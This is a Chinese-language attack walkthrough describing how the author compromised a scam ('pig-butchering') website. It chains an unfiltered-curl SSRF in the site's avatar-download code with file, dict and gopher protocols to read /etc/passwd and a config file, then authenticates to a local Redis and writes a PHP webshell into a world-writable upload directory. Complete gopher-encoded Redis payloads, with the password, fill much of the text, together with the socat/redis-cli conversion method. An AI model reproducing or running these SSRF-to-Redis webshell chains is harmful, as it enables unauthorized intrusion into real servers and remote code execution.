前段时间拿到一个杀猪盘,一直很忙没有看,最近闲下来就看了一下,没发现什么明显的漏洞,就在Fofa上通过特征搜了一批同类型的站扫源码备份,运气很好,扫到一份
SSRF
本来找到一处任意上传,但是在目标上面已经被删除,只能继续看代码
在全局搜索curl的时候发现在\lib\controller\api\user.php文件的_downloadAvatarFromThird私有方法里面有定义
- 在279到282行没有任何过滤直接把传进来的
$thirdAvatarUrl使用curl进行请求并把返回结果存储在$imageData - 在284行通过
getAvatarFilename方法获取到一个基于以微秒计的当前时间然后拼接.jpg的文件名
- 在285行通过
getAvatarUrl方法获取到一个本地存储的绝对路径
S_ROOT在/index.php里被定义为当前网站根目录的绝对路径
- 在294行把结果写入到第285行获取到的文件名里
现在知道了_downloadAvatarFromThird方法有明显的SSRF漏洞并把结果写入到一个文件里面之后,只需要找到哪里调用的这个方法,然后看看$thirdAvatarUrl变量是否可控
通过搜索,在第139行的公开方法thirdPartyLogin里面调用了_downloadAvatarFromThird方法,并且$thirdAvatarUrl也是可控的
1 | /** |
那么现在就可以构造一个URL来读文件试一下是否可以成功
返回了图片路径就说明是读成功了的
经过测试支持
file、http/s、dict、gopher等协议
写shell失败
读文件并不是我的目标,最终的目的是要拿到权限
在之前在看配置文件的时候看到配置文件里面是配置了Redis密码的,但是并不清楚目标上是否开启,读到/etc/passwd之后看到有redis用户,那么八成是开启了的
这时候首先需要看一下目标机器上面的Redis是否配置了密码:dict://127.0.0.1:6379/info
查看返回结果发现是配置了密码的
这时候有两个思路获取到Redis密码:
- 爆破
Redis密码:dict://127.0.0.1:6379/auth:<password> - 找绝对路径读配置文件
首选肯定是先找找看能否爆出来绝对路径,发现有两个文件有可能泄露绝对路径:
/caches/log/object_error.php(目标上不存在)/chat/workerman.log:访问下载下来后,不出意外的泄露了绝对路径
再通过SSRF读配置文件得到Redis的密码:file:///www/wwwroot/webgz/caches/config.php
得到密码之后怎样在非交互模式下使用密码进行验证并且执行指令呢?可以在Redis官方文档中找到答案:https://redis.io/topics/pipelining- 大概意思就是
Redis支持非传统一次request等待一次response的模式,可以发送多条request后再一次性接收所有response
这个时候dict协议就不行了,因为dict协议会自动在结尾补上\r\n(CRLF),不能一次发出多条指令,所以这里需要使用gopher协议
把
Redis命令转换为gopher协议:
- 先使用
socat转发流量并打印文本socat -v tcp-listen:6378,fork tcp-connect:localhost:6379- 然后使用
redis-cli攻击6378端口redis-cli -h 127.0.0.1 -p 6378 -a qq123456 config get dir
这时候是可以发现一些规律的(也就是RESP协议,可以百度了解)
转换:- 如果第1个字符是
>或者<那么丢弃该行字符串,表示请求和返回的时间和流量详情。- 删除从
<开头的行到>开头的行之间的行,因为这是返回的数据,这里不需要- 将
\r换行字符串替换成%0d%0a- 开头为
*的数字为数组元素数量,开头为$的数字为字符数量,也就是说*3后面需要跟3个$xGopher协议发送数据第一个字符会消失,所以用_来代替第一个字符(其他字符也都可以)
那么这里需要认证的config get dir转换为gopher协议就是
1 | gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a |
后面必须再加一个quit(*1%0d%0a$4%0d%0aquit%0d%0a),否则会一直连接,不退出,也就无法返回结果
发送前再把_后面的所有内容再url编码一次,发送并得到结果
现在就可以通过Redis往目标网站写一个webshell了
- 首先需要关闭
RDB压缩,Redis默认开启,如果不关闭,字符串可能会被压缩出现乱码导致shell不能正常运行:*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$14%0d%0ardbcompression%0d%0a$2%0d%0ano%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
回显
- 设置保存位置:
*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$35%0d%0a/www/wwwroot/webgz/up_files/avatar/%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
在设置保存路径之前,最好先获取一下原本的保存路径,写入
shell之后恢复回去:*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a - 设置文件名:
*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$5%0d%0a1.php%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
- 写入一个
key,内容为wenshell:*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0as%0d%0a$27%0d%0a%0a%0d%0a<?php phpinfo();?>%0d%0a%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
- 保存:
*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
发现没有写进去,目标机器为Linux,猜测是权限的问题(可能网站路径都是755,而redis权限想写进去最后一位权限得是7(读写执行)、6(读写)、2(写))
那么这个时候有几个选择:
- 试一下定时任务有没有写权限(测试没权限)
- 多找几个目录试试看有没有
777权限目录(没找到) - 在源码里搜索一下是否有
chmod、mkdir等方法赋予了777权限 Fastcgi(攻击方法参考https://bbs.ichunqiu.com/thread-58455-1-1.html),但是这里不知道是走的socket还是TCP(默认socket),所以没测试
突破
- 找到一些
chmod、mkdir要不就是不可控,要不就是目录已经存在
最后在\core\class\upload.php的upload方法里找到使用chmod方法会以当前日期新建一个目录并赋予777权限

- 搜索调用了
upload类的并可控的点
在\lib\controller\attachment\attachment.php的公开方法upload里调用了upload类,并且可控
- 构造上传

上传成功,返回了路径
成功访问到,那么这个新建的目录up_files/avatar/2021/0315/就是777权限,可以通过redis写入webshell了 - 再用
redis写webshell发现<和>被实体化了,那么把这两个都再进行一次url编码即可*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$14%0d%0ardbcompression%0d%0a$2%0d%0ano%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$45%0d%0a/www/wwwroot/webgz/up_files/avatar/2021/0315/%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$5%0d%0a1.php%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0as%0d%0a$26%0d%0a%0a%0d%0a%3C?php%20phpinfo();?%3E%0d%0a%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
- 访问

成功 - 把
redis配置给他改回去都可以了
